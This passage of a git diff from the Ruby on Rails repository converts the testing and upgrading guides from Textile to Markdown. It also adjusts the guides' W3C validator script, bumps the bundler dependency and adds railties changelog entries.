-|+css_select(selector)+ or +css_select(element, selector)+ |Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array.|
+| Assertion | Purpose |
+| ---------------------------------------------------------- | ------- |
+| `assert_select_email` | Allows you to make assertions on the body of an e-mail. |
+| `assert_select_encoded` | Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.|
+| `css_select(selector)` or `css_select(element, selector)` | Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array.|
-Here's an example of using +assert_select_email+:
+Here's an example of using `assert_select_email`:
-<ruby>
+```ruby
assert_select_email do
assert_select 'small', 'Please click the "Unsubscribe" link if you want to opt-out.'
end
-</ruby>
+```
-h3. Integration Testing
+Integration Testing
+-------------------
Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application.
Unlike Unit and Functional tests, integration tests have to be explicitly created under the 'test/integration' folder within your application. Rails provides a generator to create an integration test skeleton for you.
-<shell>
+```bash
$ rails generate integration_test user_flows
exists test/integration/
create test/integration/user_flows_test.rb
-</shell>
+```
Here's what a freshly-generated integration test looks like:
-<ruby>
+```ruby
require 'test_helper'
class UserFlowsTest < ActionDispatch::IntegrationTest
@@ -640,33 +650,34 @@ class UserFlowsTest < ActionDispatch::IntegrationTest
assert true
end
end
-</ruby>
+```
-Integration tests inherit from +ActionDispatch::IntegrationTest+. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test.
+Integration tests inherit from `ActionDispatch::IntegrationTest`. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test.
-h4. Helpers Available for Integration Tests
+### Helpers Available for Integration Tests
In addition to the standard testing helpers, there are some additional helpers available to integration tests:
-|_.Helper |_.Purpose|
-|+https?+ |Returns +true+ if the session is mimicking a secure HTTPS request.|
-|+https!+ |Allows you to mimic a secure HTTPS request.|
-|+host!+ |Allows you to set the host name to use in the next request.|
-|+redirect?+ |Returns +true+ if the last request was a redirect.|
-|+follow_redirect!+ |Follows a single redirect response.|
-|+request_via_redirect(http_method, path, [parameters], [headers])+ |Allows you to make an HTTP request and follow any subsequent redirects.|
-|+post_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP POST request and follow any subsequent redirects.|
-|+get_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP GET request and follow any subsequent redirects.|
-|+patch_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP PATCH request and follow any subsequent redirects.|
-|+put_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP PUT request and follow any subsequent redirects.|
-|+delete_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP DELETE request and follow any subsequent redirects.|
-|+open_session+ |Opens a new session instance.|
-
-h4. Integration Testing Examples
+| Helper | Purpose |
+| ------------------------------------------------------------------ | ------- |
+| `https?` | Returns `true` if the session is mimicking a secure HTTPS request.|
+| `https!` | Allows you to mimic a secure HTTPS request.|
+| `host!` | Allows you to set the host name to use in the next request.|
+| `redirect?` | Returns `true` if the last request was a redirect.|
+| `follow_redirect!` | Follows a single redirect response.|
+| `request_via_redirect(http_method, path, [parameters], [headers])` | Allows you to make an HTTP request and follow any subsequent redirects.|
+| `post_via_redirect(path, [parameters], [headers])` | Allows you to make an HTTP POST request and follow any subsequent redirects.|
+| `get_via_redirect(path, [parameters], [headers])` | Allows you to make an HTTP GET request and follow any subsequent redirects.|
+| `patch_via_redirect(path, [parameters], [headers])` | Allows you to make an HTTP PATCH request and follow any subsequent redirects.|
+| `put_via_redirect(path, [parameters], [headers])` | Allows you to make an HTTP PUT request and follow any subsequent redirects.|
+| `delete_via_redirect(path, [parameters], [headers])` | Allows you to make an HTTP DELETE request and follow any subsequent redirects.|
+| `open_session` | Opens a new session instance.|
+
+### Integration Testing Examples
A simple integration test that exercises multiple controllers:
-<ruby>
+```ruby
require 'test_helper'
class UserFlowsTest < ActionDispatch::IntegrationTest
@@ -688,13 +699,13 @@ class UserFlowsTest < ActionDispatch::IntegrationTest
assert assigns(:products)
end
end
-</ruby>
+```
As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing DSL (domain-specific language) just for your application.
Here's an example of multiple sessions and custom DSL in an integration test
-<ruby>
+```ruby
require 'test_helper'
class UserFlowsTest < ActionDispatch::IntegrationTest
@@ -740,35 +751,39 @@ class UserFlowsTest < ActionDispatch::IntegrationTest
end
end
end
-</ruby>
+```
-h3. Rake Tasks for Running your Tests
+Rake Tasks for Running your Tests
+---------------------------------
You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of rake tasks to help in testing. The table below lists all rake tasks that come along in the default Rakefile when you initiate a Rails project.
-|_.Tasks |_.Description|
-|+rake test+ |Runs all unit, functional and integration tests. You can also simply run +rake+ as the _test_ target is the default.|
-|+rake test:benchmark+ |Benchmark the performance tests|
-|+rake test:functionals+ |Runs all the functional tests from +test/functional+|
-|+rake test:integration+ |Runs all the integration tests from +test/integration+|
-|+rake test:profile+ |Profile the performance tests|
-|+rake test:recent+ |Tests recent changes|
-|+rake test:uncommitted+ |Runs all the tests which are uncommitted. Supports Subversion and Git|
-|+rake test:units+ |Runs all the unit tests from +test/unit+|
+| Tasks | Description |
+| ------------------------------- | ----------- |
+| `rake test` | Runs all unit, functional and integration tests. You can also simply run `rake` as the _test_ target is the default.|
+| `rake test:benchmark` | Benchmark the performance tests|
+| `rake test:functionals` | Runs all the functional tests from `test/functional`|
+| `rake test:integration` | Runs all the integration tests from `test/integration`|
+| `rake test:profile` | Profile the performance tests|
+| `rake test:recent` | Tests recent changes|
+| `rake test:uncommitted` | Runs all the tests which are uncommitted. Supports Subversion and Git|
+| `rake test:units` | Runs all the unit tests from `test/unit`|
-h3. Brief Note About +Test::Unit+
+Brief Note About `Test::Unit`
+-----------------------------
-Ruby ships with a boat load of libraries. One little gem of a library is +Test::Unit+, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in +Test::Unit::Assertions+. The class +ActiveSupport::TestCase+ which we have been using in our unit and functional tests extends +Test::Unit::TestCase+, allowing
+Ruby ships with a boat load of libraries. One little gem of a library is `Test::Unit`, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in `Test::Unit::Assertions`. The class `ActiveSupport::TestCase` which we have been using in our unit and functional tests extends `Test::Unit::TestCase`, allowing
us to use all of the basic assertions in our tests.
-NOTE: For more information on +Test::Unit+, refer to "test/unit Documentation":http://ruby-doc.org/stdlib/libdoc/test/unit/rdoc/
+NOTE: For more information on `Test::Unit`, refer to [test/unit Documentation](http://ruby-doc.org/stdlib/libdoc/test/unit/rdoc/)
-h3. Setup and Teardown
+Setup and Teardown
+------------------
-If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let's take note of this by looking at an example for our functional test in +Posts+ controller:
+If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let's take note of this by looking at an example for our functional test in `Posts` controller:
-<ruby>
+```ruby
require 'test_helper'
class PostsControllerTest < ActionController::TestCase
@@ -800,18 +815,18 @@ class PostsControllerTest < ActionController::TestCase
end
end
-</ruby>
+```
-Above, the +setup+ method is called before each test and so +@post+ is available for each of the tests. Rails implements +setup+ and +teardown+ as +ActiveSupport::Callbacks+. Which essentially means you need not only use +setup+ and +teardown+ as methods in your tests. You could specify them by using:
+Above, the `setup` method is called before each test and so `@post` is available for each of the tests. Rails implements `setup` and `teardown` as `ActiveSupport::Callbacks`. Which essentially means you need not only use `setup` and `teardown` as methods in your tests. You could specify them by using:
* a block
* a method (like in the earlier example)
* a method name as a symbol
* a lambda
-Let's see the earlier example by specifying +setup+ callback by specifying a method name as a symbol:
+Let's see the earlier example by specifying `setup` callback by specifying a method name as a symbol:
-<ruby>
+```ruby
require '../test_helper'
class PostsControllerTest < ActionController::TestCase
@@ -849,23 +864,25 @@ class PostsControllerTest < ActionController::TestCase
end
end
-</ruby>
+```
-h3. Testing Routes
+Testing Routes
+--------------
-Like everything else in your Rails application, it is recommended that you test your routes. An example test for a route in the default +show+ action of +Posts+ controller above should look like:
+Like everything else in your Rails application, it is recommended that you test your routes. An example test for a route in the default `show` action of `Posts` controller above should look like:
-<ruby>
+```ruby
test "should route to post" do
assert_routing '/posts/1', { :controller => "posts", :action => "show", :id => "1" }
end
-</ruby>
+```
-h3. Testing Your Mailers
+Testing Your Mailers
+--------------------
Testing mailer classes requires some specific tools to do a thorough job.
-h4. Keeping the Postman in Check
+### Keeping the Postman in Check
Your mailer classes -- like every other part of your Rails application -- should be tested to ensure that it is working as expected.
@@ -875,25 +892,25 @@ The goals of testing your mailer classes are to ensure that:
* the email content is correct (subject, sender, body, etc)
* the right emails are being sent at the right times
-h5. From All Sides
+#### From All Sides
There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a known value (a fixture.) In the functional tests you don't so much test the minute details produced by the mailer; instead, we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.
-h4. Unit Testing
+### Unit Testing
In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.
-h5. Revenge of the Fixtures
+#### Revenge of the Fixtures
-For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output _should_ look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within +test/fixtures+ directly corresponds to the name of the mailer. So, for a mailer named +UserMailer+, the fixtures should reside in +test/fixtures/user_mailer+ directory.
+For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output _should_ look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within `test/fixtures` directly corresponds to the name of the mailer. So, for a mailer named `UserMailer`, the fixtures should reside in `test/fixtures/user_mailer` directory.
When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator you'll have to make those files yourself.
-h5. The Basic Test Case
+#### The Basic Test Case
-Here's a unit test to test a mailer named +UserMailer+ whose action +invite+ is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an +invite+ action.
+Here's a unit test to test a mailer named `UserMailer` whose action `invite` is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an `invite` action.
-<ruby>
+```ruby
require 'test_helper'
class UserMailerTest < ActionMailer::TestCase
@@ -909,29 +926,29 @@ class UserMailerTest < ActionMailer::TestCase
end
end
-</ruby>
+```
-In this test, +@expected+ is an instance of +TMail::Mail+ that you can use in your tests. It is defined in +ActionMailer::TestCase+. The test above uses +@expected+ to construct an email, which it then asserts with email created by the custom mailer. The +invite+ fixture is the body of the email and is used as the sample content to assert against. The helper +read_fixture+ is used to read in the content from this file.
+In this test, `@expected` is an instance of `TMail::Mail` that you can use in your tests. It is defined in `ActionMailer::TestCase`. The test above uses `@expected` to construct an email, which it then asserts with email created by the custom mailer. The `invite` fixture is the body of the email and is used as the sample content to assert against. The helper `read_fixture` is used to read in the content from this file.
-Here's the content of the +invite+ fixture:
+Here's the content of the `invite` fixture:
-<pre>
+```
Hi friend@example.com,
You have been invited.
Cheers!
-</pre>
+```
-This is the right time to understand a little more about writing tests for your mailers. The line +ActionMailer::Base.delivery_method = :test+ in +config/environments/test.rb+ sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (+ActionMailer::Base.deliveries+).
+This is the right time to understand a little more about writing tests for your mailers. The line `ActionMailer::Base.delivery_method = :test` in `config/environments/test.rb` sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (`ActionMailer::Base.deliveries`).
However often in unit tests, mails will not actually be sent, simply constructed, as in the example above, where the precise content of the email is checked against what it should be.
-h4. Functional Testing
+### Functional Testing
Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job. You are probably more interested in whether your own business logic is sending emails when you expect them to go out. For example, you can check that the invite friend operation is sending an email appropriately:
-<ruby>
+```ruby
require 'test_helper'
class UserControllerTest < ActionController::TestCase
@@ -946,14 +963,15 @@ class UserControllerTest < ActionController::TestCase
assert_match(/Hi friend@example.com/, invite_email.body)
end
end
-</ruby>
+```
-h3. Other Testing Approaches
+Other Testing Approaches
+------------------------
-The built-in +test/unit+ based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:
+The built-in `test/unit` based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:
-* "NullDB":http://avdi.org/projects/nulldb/, a way to speed up testing by avoiding database use.
-* "Factory Girl":https://github.com/thoughtbot/factory_girl/tree/master, a replacement for fixtures.
-* "Machinist":https://github.com/notahat/machinist/tree/master, another replacement for fixtures.
-* "Shoulda":http://www.thoughtbot.com/projects/shoulda, an extension to +test/unit+ with additional helpers, macros, and assertions.
-* "RSpec":http://relishapp.com/rspec, a behavior-driven development framework
+* [NullDB](http://avdi.org/projects/nulldb/), a way to speed up testing by avoiding database use.
+* [Factory Girl](https://github.com/thoughtbot/factory_girl/tree/master), a replacement for fixtures.
+* [Machinist](https://github.com/notahat/machinist/tree/master), another replacement for fixtures.
+* [Shoulda](http://www.thoughtbot.com/projects/shoulda), an extension to `test/unit` with additional helpers, macros, and assertions.
+* [RSpec](http://relishapp.com/rspec), a behavior-driven development framework
diff --git a/guides/source/upgrading_ruby_on_rails.textile b/guides/source/upgrading_ruby_on_rails.md
index 5024bc4c37..1eb8ff2f59 100644
--- a/guides/source/upgrading_ruby_on_rails.textile
+++ b/guides/source/upgrading_ruby_on_rails.md
@@ -1,18 +1,20 @@
-h2. A Guide for Upgrading Ruby on Rails
+A Guide for Upgrading Ruby on Rails
+===================================
This guide provides steps to be followed when you upgrade your applications to a newer version of Ruby on Rails. These steps are also available in individual release guides.
-endprologue.
+--------------------------------------------------------------------------------
-h3. General Advice
+General Advice
+--------------
Before attempting to upgrade an existing application, you should be sure you have a good reason to upgrade. You need to balance out several factors: the need for new features, the increasing difficulty of finding support for old code, and your available time and skills, to name a few.
-h4(#general_testing). Test Coverage
+### Test Coverage
The best way to be sure that your application still works after upgrading is to have good test coverage before you start the process. If you don't have automated tests that exercise the bulk of your application, you'll need to spend time manually exercising all the parts that have changed. In the case of a Rails upgrade, that will mean every single piece of functionality in the application. Do yourself a favor and make sure your test coverage is good _before_ you start an upgrade.
-h4(#general_ruby). Ruby Versions
+### Ruby Versions
Rails generally stays close to the latest released Ruby version when it's released:
@@ -22,7 +24,8 @@ Rails generally stays close to the latest released Ruby version when it's releas
TIP: Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing.
-h3. Upgrading from Rails 3.2 to Rails 4.0
+Upgrading from Rails 3.2 to Rails 4.0
+-------------------------------------
NOTE: This section is a work in progress.
@@ -30,45 +33,62 @@ If your application is currently on any version of Rails older than 3.2.x, you s
The following changes are meant for upgrading your application to Rails 4.0.
-h4(#plugins4_0). vendor/plugins
+### vendor/plugins
-Rails 4.0 no longer supports loading plugins from <tt>vendor/plugins</tt>. You must replace any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, <tt>lib/my_plugin/*</tt> and add an appropriate initializer in <tt>config/initializers/my_plugin.rb</tt>.
+Rails 4.0 no longer supports loading plugins from `vendor/plugins`. You must replace any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
-h4(#identity_map4_0). Identity Map
+### Identity Map
-Rails 4.0 has removed the identity map from Active Record, due to "some inconsistencies with associations":https://github.com/rails/rails/commit/302c912bf6bcd0fa200d964ec2dc4a44abe328a6. If you have manually enabled it in your application, you will have to remove the following config that has no effect anymore: <tt>config.active_record.identity_map</tt>.
+Rails 4.0 has removed the identity map from Active Record, due to [some inconsistencies with associations](https://github.com/rails/rails/commit/302c912bf6bcd0fa200d964ec2dc4a44abe328a6). If you have manually enabled it in your application, you will have to remove the following config that has no effect anymore: `config.active_record.identity_map`.
-h4(#active_record4_0). Active Record
+### Active Record
-The <tt>delete</tt> method in collection associations can now receive <tt>Fixnum</tt> or <tt>String</tt> arguments as record ids, besides records, pretty much like the <tt>destroy</tt> method does. Previously it raised <tt>ActiveRecord::AssociationTypeMismatch</tt> for such arguments. From Rails 4.0 on <tt>delete</tt> automatically tries to find the records matching the given ids before deleting them.
+The `delete` method in collection associations can now receive `Fixnum` or `String` arguments as record ids, besides records, pretty much like the `destroy` method does. Previously it raised `ActiveRecord::AssociationTypeMismatch` for such arguments. From Rails 4.0 on `delete` automatically tries to find the records matching the given ids before deleting them.
-Rails 4.0 has changed how orders get stacked in +ActiveRecord::Relation+. In previous versions of rails new order was applied after previous defined order. But this is no long true. Check "ActiveRecord Query guide":active_record_querying.html#ordering for more information.
+Rails 4.0 has changed how orders get stacked in `ActiveRecord::Relation`. In previous versions of rails new order was applied after previous defined order. But this is no long true. Check [ActiveRecord Query guide](active_record_querying.html#ordering) for more information.
-h4(#active_model4_0). Active Model
+Rails 4.0 has changed `serialized_attributes` and `attr_readonly` to class methods only. Now you shouldn't use instance methods, it's deprecated. You must change them, e.g. `self.serialized_attributes` to `self.class.serialized_attributes`.
-Rails 4.0 has changed how errors attach with the <tt>ActiveModel::Validations::ConfirmationValidator</tt>. Now when confirmation validations fail the error will be attached to <tt>:#{attribute}_confirmation</tt> instead of <tt>attribute</tt>.
+### Active Model
-h4(#action_pack4_0). Action Pack
+Rails 4.0 has changed how errors attach with the `ActiveModel::Validations::ConfirmationValidator`. Now when confirmation validations fail the error will be attached to `:#{attribute}_confirmation` instead of `attribute`.
-Rails 4.0 changed how <tt>assert_generates</tt>, <tt>assert_recognizes</tt>, and <tt>assert_routing</tt> work. Now all these assertions raise <tt>Assertion</tt> instead of <tt>ActionController::RoutingError</tt>.
+### Action Pack
-Rails 4.0 also changed the way unicode character routes are drawn. Now you can draw unicode character routes directly. If you already draw such routes, you must change them, e.g. <tt>get Rack::Utils.escape('こんにちは'), :controller => 'welcome', :action => 'index'</tt> to <tt>get 'こんにちは', :controller => 'welcome', :action => 'index'</tt>.
+Rails 4.0 changed how `assert_generates`, `assert_recognizes`, and `assert_routing` work. Now all these assertions raise `Assertion` instead of `ActionController::RoutingError`.
-h4(#helpers_order). Helpers Loading Order
+Rails 4.0 also changed the way unicode character routes are drawn. Now you can draw unicode character routes directly. If you already draw such routes, you must change them, for example:
-The loading order of helpers from more than one directory has changed in Rails 4.0. Previously, helpers from all directories were gathered and then sorted alphabetically. After upgrade to Rails 4.0 helpers will preserve the order of loaded directories and will be sorted alphabetically only within each directory. Unless you explicitly use <tt>helpers_path</tt> parameter, this change will only impact the way of loading helpers from engines. If you rely on the fact that particular helper from engine loads before or after another helper from application or another engine, you should check if correct methods are available after upgrade. If you would like to change order in which engines are loaded, you can use <tt>config.railties_order=</tt> method.
+```ruby
+get Rack::Utils.escape('こんにちは'), :controller => 'welcome', :action => 'index'
+```
-h3. Upgrading from Rails 3.1 to Rails 3.2
+becomes
+
+```ruby
+get 'こんにちは', :controller => 'welcome', :action => 'index'
+```
+
+### Active Support
+
+Rails 4.0 Removed the `j` alias for `ERB::Util#json_escape` since `j` is already used for `ActionView::Helpers::JavaScriptHelper#escape_javascript`.
+
+### Helpers Loading Order
+
+The loading order of helpers from more than one directory has changed in Rails 4.0. Previously, helpers from all directories were gathered and then sorted alphabetically. After upgrade to Rails 4.0 helpers will preserve the order of loaded directories and will be sorted alphabetically only within each directory. Unless you explicitly use `helpers_path` parameter, this change will only impact the way of loading helpers from engines. If you rely on the fact that particular helper from engine loads before or after another helper from application or another engine, you should check if correct methods are available after upgrade. If you would like to change order in which engines are loaded, you can use `config.railties_order=` method.
+
+Upgrading from Rails 3.1 to Rails 3.2
+-------------------------------------
If your application is currently on any version of Rails older than 3.1.x, you should upgrade to Rails 3.1 before attempting an update to Rails 3.2.
The following changes are meant for upgrading your application to Rails 3.2.2, the latest 3.2.x version of Rails.
-h4(#gemfile3_2). Gemfile
+### Gemfile
-Make the following changes to your +Gemfile+.
+Make the following changes to your `Gemfile`.
-<ruby>
+```ruby
gem 'rails', '= 3.2.2'
group :assets do
@@ -76,45 +96,46 @@ group :assets do
gem 'coffee-rails', '~> 3.2.1'
gem 'uglifier', '>= 1.0.3'
end
-</ruby>
+```
-h4(#config_dev3_2). config/environments/development.rb
+### config/environments/development.rb
There are a couple of new configuration settings that you should add to your development environment:
-<ruby>
+```ruby
# Raise exception on mass assignment protection for Active Record models
config.active_record.mass_assignment_sanitizer = :strict
# Log the query plan for queries taking more than this (works
# with SQLite, MySQL, and PostgreSQL)
config.active_record.auto_explain_threshold_in_seconds = 0.5
-</ruby>
+```
-h4(#config_test3_2). config/environments/test.rb
+### config/environments/test.rb
-The <tt>mass_assignment_sanitizer</tt> configuration setting should also be be added to <tt>config/environments/test.rb</tt>:
+The `mass_assignment_sanitizer` configuration setting should also be be added to `config/environments/test.rb`:
-<ruby>
+```ruby
# Raise exception on mass assignment protection for Active Record models
config.active_record.mass_assignment_sanitizer = :strict
-</ruby>
+```
-h4(#plugins3_2). vendor/plugins
+### vendor/plugins
-Rails 3.2 deprecates <tt>vendor/plugins</tt> and Rails 4.0 will remove them completely. While it's not strictly necessary as part of a Rails 3.2 upgrade, you can start replacing any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, <tt>lib/my_plugin/*</tt> and add an appropriate initializer in <tt>config/initializers/my_plugin.rb</tt>.
+Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. While it's not strictly necessary as part of a Rails 3.2 upgrade, you can start replacing any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
-h3. Upgrading from Rails 3.0 to Rails 3.1
+Upgrading from Rails 3.0 to Rails 3.1
+-------------------------------------
If your application is currently on any version of Rails older than 3.0.x, you should upgrade to Rails 3.0 before attempting an update to Rails 3.1.
The following changes are meant for upgrading your application to Rails 3.1.3, the latest 3.1.x version of Rails.
-h4(#gemfile3_1). Gemfile
+### Gemfile
-Make the following changes to your +Gemfile+.
+Make the following changes to your `Gemfile`.
-<ruby>
+```ruby
gem 'rails', '= 3.1.3'
gem 'mysql2'
@@ -127,43 +148,43 @@ end
# jQuery is the default JavaScript library in Rails 3.1
gem 'jquery-rails'
-</ruby>
+```
-h4(#config_app3_1). config/application.rb
+### config/application.rb
The asset pipeline requires the following additions:
-<ruby>
+```ruby
config.assets.enabled = true
config.assets.version = '1.0'
-</ruby>
+```
If your application is using an "/assets" route for a resource you may want change the prefix used for assets to avoid conflicts:
-<ruby>
+```ruby
# Defaults to '/assets'
config.assets.prefix = '/asset-files'
-</ruby>
+```
-h4(#config_dev3_1). config/environments/development.rb
+### config/environments/development.rb
-Remove the RJS setting <tt>config.action_view.debug_rjs = true</tt>.
+Remove the RJS setting `config.action_view.debug_rjs = true`.
Add these settings if you enable the asset pipeline:
-<ruby>
+```ruby
# Do not compress assets
config.assets.compress = false
# Expands the lines which load the assets
config.assets.debug = true
-</ruby>
+```
-h4(#config_prod3_1). config/environments/production.rb
+### config/environments/production.rb
-Again, most of the changes below are for the asset pipeline. You can read more about these in the "Asset Pipeline":asset_pipeline.html guide.
+Again, most of the changes below are for the asset pipeline. You can read more about these in the [Asset Pipeline](asset_pipeline.html) guide.
-<ruby>
+```ruby
# Compress JavaScripts and CSS
config.assets.compress = true
@@ -181,23 +202,23 @@ config.assets.digest = true
# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
# config.force_ssl = true
-</ruby>
+```
-h4(#config_test3_1). config/environments/test.rb
+### config/environments/test.rb
You can help test performance with these additions to your test environment:
-<ruby>
+```ruby
# Configure static asset server for tests with Cache-Control for performance
config.serve_static_assets = true
config.static_cache_control = "public, max-age=3600"
-</ruby>
+```
-h4(#config_wp3_1). config/initializers/wrap_parameters.rb
+### config/initializers/wrap_parameters.rb
Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications.
-<ruby>
+```ruby
# Be sure to restart your server when you modify this file.
# This file contains settings for ActionController::ParamsWrapper which
# is enabled by default.
@@ -211,4 +232,17 @@ end
ActiveSupport.on_load(:active_record) do
self.include_root_in_json = false
end
-</ruby>
+```
+
+h4(#config_session3_1). config/initializers/session_store.rb
+
+You need to change your session key to something new, or remove all sessions:
+
+```ruby
+# in config/initializers/session_store.rb
+AppName::Application.config.session_store :cookie_store, :key => 'SOMETHINGNEW'
+```
+
+or
+
+<tt>$ rake db:sessions:clear</tt>
diff --git a/guides/w3c_validator.rb b/guides/w3c_validator.rb
index 5e340499c4..6ef3df45a9 100644
--- a/guides/w3c_validator.rb
+++ b/guides/w3c_validator.rb
@@ -5,9 +5,9 @@
# Guides are taken from the output directory, from where all .html files are
# submitted to the validator.
#
-# This script is prepared to be launched from the railties directory as a rake task:
+# This script is prepared to be launched from the guides directory as a rake task:
#
-# rake validate_guides
+# rake guides:validate
#
# If nothing is specified, all files will be validated, but you can check just
# some of them using this environment variable:
@@ -17,12 +17,12 @@
# enough:
#
# # validates only association_basics.html
-# ONLY=assoc rake validate_guides
+# rake guides:validate ONLY=assoc
#
# Separate many using commas:
#
# # validates only association_basics.html and migrations.html
-# ONLY=assoc,migrations rake validate_guides
+# rake guides:validate ONLY=assoc,migrations
#
# ---------------------------------------------------------------------------
@@ -38,7 +38,12 @@ module RailsGuides
errors_on_guides = {}
guides_to_validate.each do |f|
- results = validator.validate_file(f)
+ begin
+ results = validator.validate_file(f)
+ rescue Exception => e
+ puts "\nCould not validate #{f} because of #{e}"
+ next
+ end
if results.validity
print "."
@@ -53,15 +58,15 @@ module RailsGuides
private
def guides_to_validate
- guides = Dir["./guides/output/*.html"]
- guides.delete("./guides/output/layout.html")
+ guides = Dir["./output/*.html"]
+ guides.delete("./output/layout.html")
ENV.key?('ONLY') ? select_only(guides) : guides
end
def select_only(guides)
prefixes = ENV['ONLY'].split(",").map(&:strip)
guides.select do |guide|
- prefixes.any? {|p| guide.start_with?("./guides/output/#{p}")}
+ prefixes.any? {|p| guide.start_with?("./output/#{p}")}
end
end
diff --git a/rails.gemspec b/rails.gemspec
index 52f92f46c6..3600882c5c 100644
--- a/rails.gemspec
+++ b/rails.gemspec
@@ -24,6 +24,6 @@ Gem::Specification.new do |s|
s.add_dependency('activerecord', version)
s.add_dependency('actionmailer', version)
s.add_dependency('railties', version)
- s.add_dependency('bundler', '~> 1.1')
+ s.add_dependency('bundler', '~> 1.2')
s.add_dependency('sprockets-rails', '~> 1.0')
end
diff --git a/railties/CHANGELOG.md b/railties/CHANGELOG.md
index 851f41249a..8c2b64d543 100644
--- a/railties/CHANGELOG.md
+++ b/railties/CHANGELOG.md
@@ -1,10 +1,43 @@
## Rails 4.0.0 (unreleased) ##
+* Remove highly uncommon `config.assets.manifest` option for moving the manifest path.
+ This option is now unsupported in sprockets-rails.
+
+ *Guillermo Iguaran & Dmitry Vorotilin*
+
+* Add `config.action_controller.permit_all_parameters` to disable
+ StrongParameters protection, it's false by default.
+
+ *Guillermo Iguaran*
+
+* Remove `config.active_record.whitelist_attributes` and
+ `config.active_record.mass_assignment_sanitizer` from new applications since
+ MassAssignmentSecurity has been extracted from Rails.
+
+ *Guillermo Iguaran*
+
+* Change `rails new` and `rails plugin new` generators to name the `.gitkeep` files
+ as `.keep` in a more SCM-agnostic way.
+
+ Change `--skip-git` option to only skip the `.gitignore` file and still generate
+ the `.keep` files.
+
+ Add `--skip-keeps` option to skip the `.keep` files.
+
+ *Derek Prior & Francesco Rodriguez*
+
+* Fixed support for DATABASE_URL environment variable for rake db tasks. *Grace Liu*
+
+* rails dbconsole now can use SSL for MySQL. The database.yml options sslca, sslcert, sslcapath, sslcipher,
+ and sslkey now affect rails dbconsole. *Jim Kingdon and Lars Petrus*
+
* Correctly handle SCRIPT_NAME when generating routes to engine in application
that's mounted at a sub-uri. With this behavior, you *should not* use
default_url_options[:script_name] to set proper application's mount point by
yourself. *Piotr Sarnacki*
+* `config.threadsafe!` is deprecated in favor of `config.eager_load` which provides a more fine grained control on what is eager loaded *José Valim*
+
* The migration generator will now produce AddXXXToYYY/RemoveXXXFromYYY migrations with references statements, for instance
rails g migration AddReferencesToProducts user:references supplier:references{polymorphic}
@@ -66,2482 +99,4 @@
* Set config.action_mailer.async = true to turn on asynchronous
message delivery *Brian Cardarella*
-
-## Rails 3.2.2 (March 1, 2012) ##
-
-* No changes.
-
-
-## Rails 3.2.1 (January 26, 2012) ##
-
-* Documentation fixes.
-
-* Migration generation understands decimal{1.2} and decimal{1-2}, in
- addition to decimal{1,2}. *José Valim*
-
-
-## Rails 3.2.0 (January 20, 2012) ##
-
-* Turn gem has been removed from default Gemfile. We still looking for a best presentation for tests output. *Guillermo Iguaran*
-
-* Rails::Plugin is deprecated and will be removed in Rails 4.0. Instead of adding plugins to vendor/plugins use gems or bundler with path or git dependencies. *Santiago Pastorino*
-
-* Guides are available as a single .mobi for the Kindle and free Kindle readers apps. *Michael Pearson & Xavier Noria*
-
